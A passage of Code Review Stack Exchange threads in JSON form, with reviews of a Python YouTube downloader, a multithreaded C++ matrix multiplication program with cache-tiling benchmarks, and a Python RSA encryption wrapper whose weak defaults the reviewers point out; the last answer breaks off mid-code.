[ { "body": "<p>Please add these imports at first and 2nd line of the code:</p>\n<pre><code>import os\nfrom pytube import YouTube\n</code></pre>\n<p>Also, the full path of the destination folder needs to be entered when code asks 'Please enter the Folder to save the Video in'.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T14:44:14.500", "Id": "253504", "ParentId": "253486", "Score": "0" } }, { "body": "<h2>Global variables</h2>\n<ul>\n<li>one major suggestion - don't (over)use global variables, it's generally not a good practice and it will make more difficult to test the code. For example if you'd like to add a functionality for downloading multiple items at the same time you'll have a hard time with it.</li>\n</ul>\n<p>So instead of this:</p>\n<pre><code>def av_select():\n global av_switch # this function is setting value for this variable\n\n\ndef Main():\n global av_switch # this function is reading this variable\n av_select()\n</code></pre>\n<p>do this:</p>\n<pre><code>def av_select():\n while True:\n av_switch = input('Please enter \\'1\\' for Video and \\'2\\' for Audio\\n')\n if av_switch not in ('1', '2'):\n print('Please make a valid selection')\n continue\n return av_switch # add return statement with the value\n\n\ndef Main():\n av_switch = av_select() # use the value returned from function\n if av_switch == '1':\n</code></pre>\n<p>same applies to other global variables.</p>\n<h2>Python coding guidelines</h2>\n<ul>\n<li><p>follow <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP 8</a> guidelines, in this case the name of the function <code>Main</code> is violating it - function names should be lowercase.</p>\n</li>\n<li><p>recommended way how to do code comments is to use <a href=\"https://www.python.org/dev/peps/pep-0257/\" rel=\"nofollow noreferrer\">docstrings</a>. Instead of this:</p>\n</li>\n</ul>\n<pre><code>#Define Download location \ndef download_location():\n</code></pre>\n<p>do this:</p>\n<pre><code>def download_location():\n &quot;&quot;&quot;define download location&quot;&quot;&quot;\n</code></pre>\n<p>this way the comment can be accessed as <code>download_location.__doc__</code> and a lot of tools (eg. for generating documentation) can work with it.</p>\n<h2>Code flow</h2>\n<ul>\n<li>the following one is probably a matter of taste, but it feels like you're overusing <code>while True:</code> loops in places where you can rely on other variables you are &quot;waiting&quot; for. For example <code>av_select()</code> - I'd use the <code>aw_switch</code> variable as a condition of the loop this way:</li>\n</ul>\n<pre><code>def av_select():\n av_switch = None\n while av_switch not in ('1', '2'):\n av_switch = input('Please enter \\'1\\' for Video and \\'2\\' for Audio\\n')\n\n # outside the while loop, av_switch finally matches '1' or '2'\n return av_switch\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-01-15T03:58:43.243", "Id": "254727", "ParentId": "253486", "Score": "2" } } ]
{ "AcceptedAnswerId": "254727", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T04:18:24.893", "Id": "253486", "Score": "1", "Tags": [ "python", "beginner", "python-3.x", "youtube" ], "Title": "Python YouTube Video Downloader" }
253486
<p>Here is a very simple Matrix Multiplication console application using multiple threads (one per row), I'm just looking for feedback to keep improving :) thank you in advance</p> <pre><code> #include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;sstream&gt; #include &lt;vector&gt; #include &lt;string&gt; #include &lt;thread&gt; using namespace std; struct Matrix { unsigned int cols = 0; unsigned rows = 0; int **data; Matrix() {}; Matrix(int r, int c) { cols = c; rows = r; data = new int* [rows]; for (int i = 0; i &lt; rows; ++i) { data[i] = new int[cols]; for (int j = 0; j &lt; cols; ++j) data[i][j] = 0; } } }; Matrix ReadMatrix(string fileName) { fstream file(fileName, fstream::in); Matrix matrix; try { if (file.is_open()) { int rows, cols; file &gt;&gt; rows &gt;&gt; cols; matrix = Matrix(rows, cols); for (int r = 0; r &lt; matrix.rows; ++r) for (int c = 0; c &lt; matrix.cols; ++c) file &gt;&gt; matrix.data[r][c]; file.close(); cout &lt;&lt; &quot;File: &quot; &lt;&lt; fileName &lt;&lt; &quot; read.\n&quot;; } else cout &lt;&lt; &quot;could not open file/matrix: &quot; &lt;&lt; fileName &lt;&lt; &quot;\n&quot;; return matrix; } catch (exception ex) { if (file.is_open())file.close(); throw ex; } } void MultiplyRow(Matrix m1, Matrix m2, Matrix result, int row) { for (int c = 0; c &lt; m2.cols; ++c) for (int i = 0; i &lt; m1.cols; ++i) result.data[row][c] += (m1.data[row][i] * m2.data[i][c]); string str = (&quot;Row: &quot; + to_string(row) + &quot; complete.\n&quot;); cout &lt;&lt; str; } Matrix MultiplyMatrices(Matrix m1, Matrix m2) { try { Matrix matrix; if (m1.cols == m2.rows) { vector&lt;thread&gt; threads; matrix = Matrix(m1.rows, m2.cols); for (int i = 0; i &lt; m1.rows; ++i) threads.emplace_back(MultiplyRow, m1, m2, matrix, i); for (int i = 0; i &lt; threads.size(); ++i) threads[i].join(); cout &lt;&lt; &quot;Matrices multiplied.\n&quot;; } else cout &lt;&lt; &quot;cannot multiply matrices\n&quot;; return matrix; } catch (exception ex) { throw ex; } } void WriteMatrixToFile(int **data, int rows, int cols, string fileName) { try { ofstream file(fileName); char SPACE = ' '; if (file.is_open()) { file &lt;&lt; rows &lt;&lt; SPACE &lt;&lt; cols &lt;&lt; &quot;\n&quot;; for (int r = 0; r &lt; rows; ++r) { for (int c = 0; c &lt; cols; ++c) { file &lt;&lt; data[r][c] &lt;&lt; SPACE; } file &lt;&lt; &quot;\n&quot;; } } cout &lt;&lt; &quot;Matrix written to: &quot; &lt;&lt; fileName &lt;&lt; &quot;.\n&quot;; file.close(); } catch (exception ex) { throw ex; } } int main() { //read matrices Matrix matrix1 = ReadMatrix(&quot;matrix1.txt&quot;); Matrix matrix2 = ReadMatrix(&quot;matrix2.txt&quot;); //multiply matrices Matrix result = MultiplyMatrices(matrix1, matrix2); //put result into results file WriteMatrixToFile(result.data, result.rows, result.cols, &quot;result.txt&quot;); } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T09:23:35.457", "Id": "499866", "Score": "0", "body": "Do you have a preffered compiler and target CPU? A lot of general purpose advice can be given, but such details may be interesting for specific advice and analysis" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T10:42:02.277", "Id": "499872", "Score": "0", "body": "I'm sorry I haven't got too much knowledge about different compilers and target CPU's, I'm using a basic C++ Console Application project in Visual Studio 2019" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T04:05:20.590", "Id": "500028", "Score": "0", "body": "If you let me know how much of the performance tips you were able to use and how well it worked out, I can maybe go into more specifics if you want to do more of them" } ]
[ { "body": "<p>Welcome to Code Review!</p>\n<h1>Algorithm</h1>\n<p>Currently, a thread is started for every row of the result matrix. This works best if the matrix has a large number of columns and the number of rows is close to the number of native threads.</p>\n<p>A more efficient strategy in general might be to partition the rows to several chunks according to the native thread count instead. Without careful benchmarking, it's hard to say for sure.</p>\n<h1>Encapsulation</h1>\n<p><code>Matrix</code> has a class invariant — for a non-empty matrix, <code>data</code> points to an array of <code>rows</code> pointers that point to arrays of <code>cols</code> elements each. To ensure synchronization, the data members can be kept private.</p>\n<h1>Memory issues</h1>\n<p><code>Matrix</code> fails to observe the <a href=\"https://en.cppreference.com/w/cpp/language/rule_of_three#Rule_of_zero\" rel=\"noreferrer\">rule of zero</a>:</p>\n<blockquote>\n<p>Classes that have custom destructors, copy/move constructors or\ncopy/move assignment operators should deal exclusively with ownership\n(which follows from the Single Responsibility Principle). Other\nclasses should not have custom destructors, copy/move constructors or\ncopy/move assignment operators.</p>\n<p>This rule also appears in the C++ Core Guidelines as <a href=\"https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#Rc-zero\" rel=\"noreferrer\">C.20: If you can\navoid defining default operations, do</a>.</p>\n</blockquote>\n<p>To fix this issue, simply change the pointers to <code>std::vector</code>.</p>\n<h1>Storage of matrices</h1>\n<p>Currently, you are storing a pointer to a dynamic array of pointers, which, in turn, point to dynamic arrays, incurring double indirection overhead and causing memory segmentation. A more efficient method is to store all elements in a flattened array and provide a helper function to access the element at a given place:</p>\n<pre class=\"lang-cpp prettyprint-override\"><code>class Matrix {\n std::vector&lt;int&gt; elements;\n std::size_t n_rows;\n std::size_t n_cols;\npublic:\n Matrix()\n : Matrix(0, 0)\n {\n }\n Matrix(std::size_t n_rows, std::size_t n_cols)\n : elements(n_rows * n_cols), n_rows(n_rows), n_cols(n_cols)\n {\n }\n \n std::size_t row_count() const noexcept {\n return n_rows;\n }\n std::size_t col_count() const noexcept {\n return n_cols;\n }\n \n int&amp; operator()(std::size_t i, std::size_t j) {\n return elements[i * n_cols + j];\n }\n const int&amp; operator()(std::size_t i, std::size_t j) const {\n return elements[i * n_cols + j];\n }\n};\n</code></pre>\n<p>Note that this does not preserve the aliasing semantics of your <code>Matrix</code> and performs deep copying instead, so the by-value parameters should be changed to references.</p>\n<h1>Miscellaneous</h1>\n<p><code>using namespace std;</code> is considered <a href=\"https://stackoverflow.com/q/1452721/9716597\">bad practice</a> in C++.</p>\n<p>If you turn on high warning levels, you will see warnings about mixing signed and unsigned integers in comparisons, which is because you are mixing <code>int</code> and <code>unsigned int</code>. Instead of them, use <a href=\"https://en.cppreference.com/w/cpp/types/size_t\" rel=\"noreferrer\"><code>std::size_t</code></a> to store sizes, which is what the language functionalities and the standard library use.</p>\n<p>In <code>ReadMatrix</code>, file streams close automatically when they go out of scope, so there's no need to do that manually. <a href=\"https://en.cppreference.com/w/cpp/io/basic_ifstream\" rel=\"noreferrer\"><code>std::ifstream</code></a> can be used to simplify the construction of the file stream.</p>\n<p>Instead of printing messages, throw exceptions when errors occur.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T17:26:20.223", "Id": "499901", "Score": "0", "body": "Thank you very much for taking the time to go through this! I'm pretty new to C++ and I knew that I was using bad practices but I just wasn't sure what and where (which is why I posted on here) - again, thanks a lot I'm going to review the code and make the changes where needed :)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T17:10:56.867", "Id": "499983", "Score": "1", "body": "Actually, as `n_rows` and `n_cols` are needed anyway, a `std::vector` adds two redundant variables: capacity (which is always the same as size) and size (which is always the same as `n_rows * n_cols`. Defining your own ctors, dtor, and assignment to save about 40% space for the matrix-object itself (disregarding the dynamic memory used) might be worthwhile." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T11:40:27.520", "Id": "253501", "ParentId": "253490", "Score": "5" } }, { "body": "<p>I will assume that you've already made the changes suggested by L. F., especially the data layout and passing the <code>Matrix</code> objects by reference. You asked for a performance review too, so here it is.</p>\n<h2>Baseline benchmark</h2>\n<p>For timing, I used <code>std::chrono</code>, and took the average of 10 runs, while testing the multiplication of two equal-size square matrixes with a power-of-two side-length. For example a 64x64 matrix times an other 64x64 matrix. The matrixes were just filled with ones. The actual value is not important, but leaving memory zeroed out can have funny effects sometimes. The times in the table are the time <em>per element of the result</em>. Since normal matrix multiplication is an O(n³) time algorithm with O(n²) output elements, a reasonable hypothesis could be that those times increase linearly with the size.</p>\n<p>Results (in microseconds per output element):</p>\n<pre><code>size baseline\n 64 0.89\n 128 0.37\n 256 0.21\n 512 0.27\n1024 1.51\n2048 ????\n4096 ????\n</code></pre>\n<p>These times very much do <em>not</em> increase linearly with size, it's more of a &quot;bath tub curve&quot;. For large matrixes, my entire computer lagged so hard that the cursor stopped moving.</p>\n<h2>#1, too many threads</h2>\n<p>The cause of the lag, and also the source of a lot of the overhead for small matrixes (where each thread has comparatively less work to do, even though there are fewer of them), is that there are too many threads. For example 8x8 matrix multiplication is a trivial calculation which should not have any threads created for it, and on the other end of the spectrum, a 1024x1024 matrix multiplication would create 1024 threads which is extremely excessive.</p>\n<p>How many threads should there be? Maybe (to keep things simple) <code>std::thread::hardware_concurrency()</code>, or otherwise limited some reasonable number based on the expected number of cores. These threads are (intended to be) compute-bound, so having more threads than cores won't do anything. Whether &quot;cores&quot; in this story is physical cores or logical cores depends on how good the code is: good code saturates a whole physical core, making SMT pointless or even harmful.</p>\n<p>Anyway, fewer threads. Distributing the work over <em>at most</em> <code>std::thread::hardware_concurrency()</code> threads (which is 8 on my system, for 4 physical cores with 2-way SMT) but also ensuring that small matrixes didn't get too many threads assigned to them by giving each thread at least 64 rows to handle, now the timing table looks like this (still in microseconds per output element):</p>\n<pre><code>size baseline #1\n 64 0.89 0.11\n 128 0.37 0.07\n 256 0.21 0.08\n 512 0.27 0.20\n1024 1.51 1.49\n2048 ???? ????\n4096 ???? ????\n</code></pre>\n<p>In order to have one thread handle multiple rows, an extra parameter is given and an extra loop is put around the two nested loops, so that the thread itself can loop over a <em>range</em> of rows.</p>\n<p>That didn't solve the memory access pattern, so bix matrixes are still slow. Let's solve that next.</p>\n<h2>Mind the cache</h2>\n<p>Memory is slow, cache is fast. Memory often looks fast, but that's because the caches work hard to hide the slowness of memory. Memory stops looking fast if you access it in a way that makes the caches ineffective. One of those ways is accessing lots of tiny chunks of memory spaced far apart - just like accessing the column of a matrix.</p>\n<p>There are broadly two techniques that mitigate that problem, and they should both be used:</p>\n<ol>\n<li>Chopping the matrix into parts, small enough to fit in cache entirely. But <em>which</em> cache? L3 is still quite slow so probably not that one, but L1 or L2? opinions are divided but IME sizing the blocks for L2 works best, L1 leaves the blocks too small: a 64x64 block is already big for L1.</li>\n<li>Re-using data when we've loaded it anyway. For example, if we load an extry from a column, we may as well multiply it by a <em>couple</em> of partial rows. That needs to happen at some point anyway, and we have the data <em>now</em>, we may as well use it now - instead of waiting until later and having to load the data again.</li>\n</ol>\n<p>I'll divide this into two chapters..</p>\n<h2>#2, chopping the matrix into parts</h2>\n<p>In order to do this, three new loops will be introduced around the three existing nested loops. It looks a bit intimidating. Feel free to factor the inner part into its own function. For example:</p>\n<pre><code>const size_t rowblock = 128;\nconst size_t cblock = 128;\nconst size_t iblock = 64;\n// loop over tiles of the matrixes\nfor (size_t rr = rowStart; rr &lt; rowEnd; rr += rowblock) {\n size_t rlim = std::min(rr + rowblock, rowEnd);\n for (size_t cc = 0; cc &lt; m2.cols; cc += cblock) {\n size_t clim = std::min(cc + cblock, m2.cols);\n for (size_t ii = 0; ii &lt; m1.cols; ii += iblock) {\n size_t ilim = std::min(ii + iblock, m1.cols);\n // multiply tile by tile\n for (size_t row = rr; row &lt; rlim; row++) {\n for (size_t c = cc; c &lt; clim; ++c) {\n int t = result(row, c);\n for (size_t i = ii; i &lt; ilim; ++i)\n t += m1(row, i) * m2(i, c);\n result(row, c) = t;\n }\n }\n }\n }\n}\n</code></pre>\n<p>Note that <code>t</code> is initialized with an element of the output, because it an element of the output is <em>not computed all in one go</em> this way. The computation is done in parts. That means the product is <em>added</em> to the result, of course the result can be zeroed out first to avoid the effect of that, and it's implicitly zeroed out (when creating the result matrix) in this program anyway.</p>\n<p>Intimidating or not, it clearly helps:</p>\n<pre><code>size baseline #1 #2\n 64 0.89 0.11 0.11\n 128 0.37 0.07 0.07\n 256 0.21 0.08 0.08\n 512 0.27 0.20 0.12\n1024 1.51 1.49 0.30\n2048 ???? ???? 0.78\n4096 ???? ???? ????\n</code></pre>\n<p>Below 512 there is essentially no difference, which is expected. Actually, for even smaller matrixes we should expect a <em>slowdown</em>, since there is more overhead in the code now and small matrixes get &quot;chopped&quot; into one piece anyway.</p>\n<p>The improvement for matrixes of size 512x512 is already almost a factor of 2, and for 1024x1024 it's even better. 2048 was also within my &quot;patience limit&quot; with this speedup, sadly there is no earlier score to compare it with.</p>\n<p>This could be tweaked further if you want. For example, above a certain size it becomes interesting to <em>repack</em> tiles (making them more linear in memory, rather than spread out in a big matrix) to reduce TLB misses. When done well, the time per output element should scale approximately proportionally to the size of the matrix, rather than the slightly worse scaling seen here.</p>\n<h2>#3, unrolling the <code>row</code> and <code>c</code> loops</h2>\n<p>The other aspect of data reuse can be accompished by unrolling the <code>row</code> and <code>c</code> loops somewhat. Interestingly, unrolling the <code>i</code> loop is not very interesting, despite being the innermost loop.</p>\n<p>Unrolling two loops by 2 and 3 respectively means that in the inner loop, there will be 2 elements to load from <code>m1</code> and 3 elements to load from <code>m2</code>, and using these 5 elements there will be 6 different products to compute. As you can see, this significantly reduces the ratio of loads-to-arithmetic.</p>\n<p>The inner loop might look like this, there are some other changes to the code but they're boring and the code is quite large.</p>\n<pre><code>for (size_t i = ii; i &lt; ilim; ++i) {\n int m1A = m1(row, i);\n int m1B = m1(row + 1, i);\n int m2A = m2(i, c);\n int m2B = m2(i, c + 1);\n int m2C = m2(i, c + 2);\n\n t0 += m1A * m2A;\n t1 += m1A * m2B;\n t2 += m1A * m2C;\n\n t3 += m1B * m2A;\n t4 += m1B * m2B;\n t5 += m1B * m2C;\n}\n</code></pre>\n<p>The block sizes can be tweaked again (the unrolling slightly changes what the best sizes are) to get the times down to the ones shown in column #3B (the result for 512 actually gets worse though). Optimal block sizes depend on the chache sizes of your CPU though.</p>\n<pre><code>const size_t rowblock = 64;\nconst size_t cblock = 128;\nconst size_t iblock = 32;\n</code></pre>\n<p>Times:</p>\n<pre><code>size baseline #1 #2 #3 #3B\n 64 0.89 0.11 0.11 0.12 0.11\n 128 0.37 0.07 0.07 0.07 0.06\n 256 0.21 0.08 0.08 0.06 0.05\n 512 0.27 0.20 0.12 0.09 0.09\n1024 1.51 1.49 0.30 0.20 0.18\n2048 ???? ???? 0.78 0.42 0.41\n4096 ???? ???? ???? 0.95 0.90\n</code></pre>\n<h2>#4, repacking</h2>\n<p>Accessing a tile of a matrix still has an issue, even if it fits into say the L2 cache, it may be &quot;spread out&quot; across many 4KB pages. Each 4KB page (or 2MB page, if large pages are used, but they're difficult to use) costs an TLB entry, and the TLB is not that big. There is a tile that's accessed by column, which would hit all the TLB entries one by one, and then start the cycle over again: not good. This can be fixed by loading the tile into contiguous memory once, and then do various loops over it. By the way, in order to do this I switched the order of the outer 3 loops a bit, to ensure that this tile repacking is done as little as possible (nice as it is, it does represent an overhead).</p>\n<p>Times:</p>\n<pre><code>size baseline #1 #2 #3 #3B #4\n 64 0.89 0.11 0.11 0.12 0.11 0.11\n 128 0.37 0.07 0.07 0.07 0.06 0.06\n 256 0.21 0.08 0.08 0.06 0.05 0.05\n 512 0.27 0.20 0.12 0.09 0.09 0.07\n1024 1.51 1.49 0.30 0.20 0.18 0.15\n2048 ???? ???? 0.78 0.42 0.41 0.28\n4096 ???? ???? ???? 0.95 0.90 0.52\n</code></pre>\n<p>As you can see, above a certain size it suddenly starts to matter a lot.</p>\n<h2>Is that all?</h2>\n<p>No. 0.52 µs per entry for 4096² entries is about 8.7 seconds. I estimate that, even staying with scalar code, it could be done twice as fast on my PC, based on:</p>\n<ul>\n<li>4096 multiplications per element</li>\n<li>1 multiplication per cycle per core</li>\n<li>4 cores</li>\n<li>4GHz</li>\n<li>(4096 / 4 / 4GHz) * 4096² = 4.295 seconds</li>\n</ul>\n<p>Why is this code twice as bad as it should be? First of all the codegen by MSVC 2019 is not as good at it could be. Probably some of that is my fault for not writing the code in the way the compiler prefers it, but I could not find any way that made it do the right thing. Let's take a look</p>\n<pre><code>MultiplyRow3+240h:\n mov edx,dword ptr [rcx+r12] \n mov r11d,dword ptr [r12] \n lea r12,[r12+4] \n mov r8d,dword ptr [r15] \n mov ecx,r8d \n mov r9d,dword ptr [r15+4] \n mov r10d,dword ptr [r15+8] \n add r15,0Ch \n imul ecx,edx \n imul r8d,r11d \n add dword ptr [t0],ecx \n mov ecx,r9d \n add dword ptr [t3],r8d \n imul ecx,edx \n imul r9d,r11d \n add dword ptr [t1],ecx \n mov ecx,r10d \n add dword ptr [t4],r9d \n imul ecx,edx \n imul r10d,r11d \n add dword ptr [t2],ecx \n add dword ptr [t5],r10d \n mov rcx,qword ptr [rsp+50h] \n sub r14,1 \n jne MultiplyRow3+240h\n</code></pre>\n<p>I disagree with the decision to put all <code>t</code>-variables on the stack. While the register pressure is high, it is made higher here by unfortunate instruction scheduling, and some general purpose registers are still unused within the loop body: <code>rax, rbx, rsi, rdi, r13</code>. I don't think that should make the loop fully <em>twice</em> as slow as intended, but LLVM-LCA <a href=\"https://godbolt.org/z/bdn6En\" rel=\"noreferrer\">suggests</a> that it this contributes to making this loop take over 9 cycles per iteration instead of approximately 6 (which it takes if I replace the memory destinations by registers). That's not quite a 2x difference, but it's about 1.5x so the hypothetical remaining difference is only a factor of 1.3, but that's uncertain in practice, and one inefficiency can hide another.</p>\n<p>Some of the remaining difference can be found by tweaking the block sizes, but that has the annoying property of usually not resulting in an across-the-board improvement: often the high sizes get better at the expense of mid-sizes, etc.</p>\n<p>Further, the limit actually isn't 4.295 seconds, but even less. Basically all modern processors have SIMD, which enables them to do more calculations with fewer instructions. I've used that in the answer to <a href=\"https://codereview.stackexchange.com/q/177616/36018\">this other integer matrix multiplication question</a>. The code there got quite close to the theoretical single-threaded performance limit of my PC (perhaps partly because the compiler has an easier job: most of the variables are vectors, which use a separate set of registers, so there's less of a fight over scarce general purpose registers). However, SIMD is a niche subject even for experts, so I expect it is a bit advanced for this question.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T10:29:04.050", "Id": "500043", "Score": "0", "body": "Hi Harold, thank you so much for taking the time and effort to go through this code as well! I'm sorry I didn't see this sooner, I just saw your comment above asking how it worked out as well. I'm going to spend some time over the next day or 2 working through both answers and do my best to use everything you have both said to improve on the code. Should I post it back here as an answer to keep the discussion going or is there a better way of going about this?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T10:33:44.387", "Id": "500044", "Score": "0", "body": "@KillianC that is sometimes done, but I believe the recommended procedure here is to open a new question named something like \"[title] part 2\" for the new code, and link back to this first review so people can see what was in the earlier answers and what has changed in the code and which suggestions haven't been used yet." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-17T10:54:04.200", "Id": "500045", "Score": "0", "body": "Okay great, I'll do that then thank you" } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-16T05:36:51.493", "Id": "253529", "ParentId": "253490", "Score": "5" } } ]
{ "AcceptedAnswerId": "253501", "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T06:34:16.977", "Id": "253490", "Score": "4", "Tags": [ "c++", "performance", "multithreading", "matrix" ], "Title": "Multithreaded Matrix Multiplication in C++, improving efficiency?" }
253490
<pre><code>#!/usr/bin/env python3 ''' Asymmetric criptography of chat messages. ''' #TODO: implement perfect foreward secrecy #Because of forward secrecy an attacker would need to have access to the internal SSH state of either the client or server at the time the SSH connection still exists. #TODO: protect aainst traffic analysis # Everything is peer to peer, which is cool, but the IP fetching needs to be anonymysed as well. import os from pathlib import Path import random import rsa Priv = rsa.key.PrivateKey Pub = rsa.key.PublicKey Keypair = (Priv, Pub) # Location to first look for a private key. DEFAULT_PRIV = Path(Path.home() / '.ssh/id_rsa') # 'MD5', 'SHA-1', 'SHA-224', 'SHA-256', 'SHA-384' or 'SHA-512' HASH = 'SHA-256' def generate_keypair(bits: int=1024) -&gt; Keypair: pub, priv = rsa.newkeys(bits) return priv, pub def write_keypair(priv: rsa.key.PrivateKey , pub: rsa.key.PublicKey=None , p: Path=DEFAULT_PRIV): '''Obviously this function violates the RAM-only constraint.''' if p.exists(): raise BaseException('Refusing to ovewrite an existing private key: ' + str(p)) with open(p, 'wb') as f: f.write(priv.save_pkcs1()) if pub: with open(p.with_suffix('.pub'), 'wb') as f: f.write(pub.save_pkcs1()) def regenerate_pub(path_priv: Path=DEFAULT_PRIV): os.run('ssh-keygen -y -f ' + path_priv + ' &gt; ' + path_priv + '.pub') def read_keypair(p: Path=DEFAULT_PRIV) -&gt; Keypair: with open(p, mode='rb') as priv_file: key_data = priv_file.read() priv = rsa.PrivateKey.load_pkcs1(key_data) pub = None p = Path(p) if not Path(p.with_suffix('.pub')).is_file(): regenerate_pub() with open(p.with_suffix('.pub'), 'rb') as f: key_data = f.read() pub = rsa.PublicKey.load_pkcs1(key_data) assert(pub is not None) return priv, pub def encrypt(text: str, pub: Pub) -&gt; bytes: '''Encrypt a message so that only the owner of the private key can read it.''' bytes = text.encode('utf8') encrypted = rsa.encrypt(bytes, pub) return encrypted def decrypt(encrypted: bytes, priv: Priv) -&gt; str: try: bytes = rsa.decrypt(encrypted, priv) string = bytes.decode('utf8') except rsa.pkcs1.DecryptionError: # Printing a stack trace leaks information about the key. print('ERROR: DecryptionError!') string = '' return string def sign(msg: str, priv: Priv) -&gt; bytes: '''Prove you wrote the message. It is debatable should signing be performed on the plaintext or on the encrypted bytes. The former has been chosen because it is not vulnerable to the following. Tim sends an encrypted and then sign packet to a server containing a password. Joe intercepts the packet, strips the signature, signs it with his own key and gets access on the server ever though he doesn't know Tim's password. Furthermore it increases privacy. Only the recepient can validatet the sender instead of anyone intercepting. ''' signature = rsa.sign(msg.encode('utf8'), priv, HASH) return signature def verify(msg: str, signature: bytes, pub: Pub): '''VerificationError - when the signature doesn't match the message.''' rsa.verify(msg.encode('utf8'), signature, pub) def test(): priv, pub = generate_keypair() p = Path('/tmp/whatever' + str(random.randint(0, 1e6))) write_keypair(priv, pub, p) newpriv, newpub = read_keypair(p) assert(priv == newpriv) assert(pub == newpub) msg = &quot;We come in peace!&quot; bytes = encrypt(msg, pub) newmsg = decrypt(bytes, priv) assert(msg == newmsg) signature = sign(msg, priv) verify(msg, signature, pub) if __name__ == '__main__': test() </code></pre> <p>This is my <code>rsa</code> wrapper(<a href="https://github.com/MiroslavVitkov/rat/blob/master/python/crypto.py" rel="nofollow noreferrer">GitHub</a>). I am posting this in anticipation for learning about modern python best practices. Some of the concerns are:</p> <ul> <li>commented with # just under the module string</li> <li>Path and IP instead of str - which should be used?</li> <li>not all functions have docstrings - is that bad?</li> <li>types have been annotated but <code>import typing</code> is nowhere in sight</li> <li>the test ... I should probably ask on QA.SE</li> </ul>
[]
[ { "body": "<h2>Class imports</h2>\n<p>Replace</p>\n<pre><code>import rsa\nPriv = rsa.key.PrivateKey\nPub = rsa.key.PublicKey\n</code></pre>\n<p>with</p>\n<pre><code>from rsa.key import PrivateKey as Priv, PublicKey as Pub\n</code></pre>\n<p>Though I'm not convinced that the short forms are entirely necessary, this would be the more standard way to do it.</p>\n<pre><code>Keypair = (Priv, Pub)\n</code></pre>\n<p>is styled like a class name but is actually a global tuple, so should be <code>KEY_PAIR</code>. However, if you're using it as a type, as in</p>\n<pre><code>def generate_keypair(bits: int=1024) -&gt; Keypair:\n</code></pre>\n<p>then you should instead</p>\n<pre><code>KeyPair = Tuple[Priv, Pub]\n</code></pre>\n<h2>Function shims</h2>\n<p>If you don't care too much about the default and you're mainly doing this to annotate types, then</p>\n<pre><code>def generate_keypair(bits: int=1024) -&gt; Keypair:\n pub, priv = rsa.newkeys(bits)\n return priv, pub\n</code></pre>\n<p>can become</p>\n<pre><code>generate_keypair: Callable[[int], KeyPair] = rsa.newkeys\n</code></pre>\n<h2>Goofy commas</h2>\n<pre><code>def write_keypair(priv: rsa.key.PrivateKey\n , pub: rsa.key.PublicKey=None\n , p: Path=DEFAULT_PRIV):\n</code></pre>\n<p>neither helps legibility nor is it PEP8-compliant; just write it like a human would:</p>\n<pre><code>def write_keypair(priv: rsa.key.PrivateKey,\n pub: Optional[rsa.key.PublicKey]=None,\n p: Path=DEFAULT_PRIV):\n</code></pre>\n<h2>Path.open instead of open(Path)</h2>\n<pre><code>with open(p, 'wb') as f:\n</code></pre>\n<p>should be</p>\n<pre><code>with p.open('wb') as f:\n</code></pre>\n<h2><code>subprocess</code> instead of <code>os.run</code></h2>\n<p>Replace your <code>os.run</code> calls with calls to the appropriate <code>subprocess</code> methods. You probably also should not bake in a Bash-style redirect; instead, open the file handle yourself and use it as the <code>stdout</code> argument in <code>subprocess</code>.</p>\n<h2>Asserts</h2>\n<p><a href=\"https://stuvel.eu/python-rsa-doc/reference.html#rsa.PublicKey.load_pkcs1\" rel=\"nofollow noreferrer\">load_pkcs1</a> does not indicate that it might return <code>None</code>. Is that actually possible? If not, your <code>assert</code> is redundant.</p>\n<h2>Top-level exceptions</h2>\n<p><code>decrypt</code> should not bake in an <code>except</code>. Catch that at the outer scope instead.</p>\n<p>If you're confident that this is true (which I'm not):</p>\n<pre><code># Printing a stack trace leaks information about the key.\n</code></pre>\n<p>then <code>decrypt</code> can <code>try/except/raise</code> a new exception that includes all information about the failure you consider to be informative but non-compromising.</p>\n<h2>Don't roll your own temp handling</h2>\n<p>Particularly since you care about security, don't do this:</p>\n<pre><code>'/tmp/whatever' + str(random.randint(0, 1e6)\n</code></pre>\n<p>Instead, read <a href=\"https://docs.python.org/3/library/tempfile.html\" rel=\"nofollow noreferrer\">https://docs.python.org/3/library/tempfile.html</a> .</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2020-12-15T16:42:03.737", "Id": "253508", "ParentId": "253493", "Score": "2" } }, { "body": "<p>Here are some cryptography related remarks (below the code).</p>\n<pre><code>Asymmetric criptography of chat messages.\n</code></pre>\n<p>That's &quot;cryptography&quot;. Cipher and cypher are modern and older spellings, but crypto is always with a &quot;y&quot;. There are more spelling mistakes such as &quot;foreward&quot;. This makes your application look amateurish, even when that's not necessarily the case.</p>\n<pre><code>#TODO: implement perfect foreward secrecy\n</code></pre>\n<p>I don't see this being used for transport security (I hope). In that case just forward security doesn't work because <em>it is impossible to trust temporary keys</em> without additional measures.</p>\n<pre><code>def generate_keypair(bits: int=1024) -&gt; Keypair:\n</code></pre>\n<p>Your default is considered insecure. Try 4096 or something similar.</p>\n<pre><code>with open(p.with_suffix('.pub'), 'wb') as f:\n</code></pre>\n<p>Don't let the user of a library give you one path and then create another file using another path. That's not according to the principle of least surprise.</p>\n<pre><code>def 